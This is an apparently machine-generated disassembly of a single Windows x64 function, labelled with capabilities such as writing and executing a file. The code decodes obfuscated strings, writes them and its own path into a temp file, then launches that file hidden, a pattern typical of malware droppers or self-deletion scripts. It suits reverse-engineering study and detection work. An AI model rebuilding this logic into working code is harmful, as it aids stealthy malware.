Function at 0x14000994c
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x140163470]
xor rax, rsp
mov qword [rbp + 0x350], rax
lea rdx, [rbp + 0x130]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [0x140165918]
mov edx, 0x5bab6dc1
mov r8d, 0xa
call fcn.140001318
lea rcx, [rbp + 0x130]
dec rcx
xor edi, edi
mov r8, rax
inc rcx
cmp byte [rcx], dil
jne 0x1400099af
xor edx, edx
mov al, byte [r8 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x1400099b9
mov qword [rsp + 0x30], rdi
lea rcx, [rbp + 0x130]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80000080
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140009b85
lea rdx, [rbp + 0x240]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [0x140165924]
mov edx, 0x6414d171
mov r8d, 0xa
call fcn.140001318
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e9c20
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x140165930]
mov edx, 0xdeba4995
mov r8d, 0xb
call fcn.140001318
lea r8, [rbp + 0x240]
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e9c20
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x14016593e]
mov edx, 0xb2898be4
mov r8d, 0x1c
call fcn.140001318
lea r8, [rbp + 0x240]
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e9c20
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rbp + 0x240]
mov edx, 0x5c
call fcn.1400e9fb8
test rax, rax
je 0x140009af4
mov byte [rax], dil
lea rcx, [0x14016595c]
mov edx, 0xa0b36c75
mov r8d, InitCommonControls
call fcn.140001318
lea r8, [rbp + 0x240]
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e9c20
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [0x14016596c]
mov edx, 0xc41fbe82
mov r8d, 0xb
call fcn.140001318
lea r8, [rbp + 0x130]
lea rcx, [rbp - 0x20]
mov rdx, rax
call fcn.1400e9c20
lea r9, [rsp + 0x50]
lea rdx, [rbp - 0x20]
mov rcx, rbx
mov r8d, eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea rcx, [rsp + 0x78]
lea r8d, [rdx + 0x60]
call fcn.1400ebf40
lea rax, [rsp + 0x58]
lea rdx, [rbp + 0x130]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000040
mov dword [rsp + 0x70], 0x68
mov dword [rbp - 0x54], 1
mov word [rbp - 0x50], di
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140009c01
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1400e8bc0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret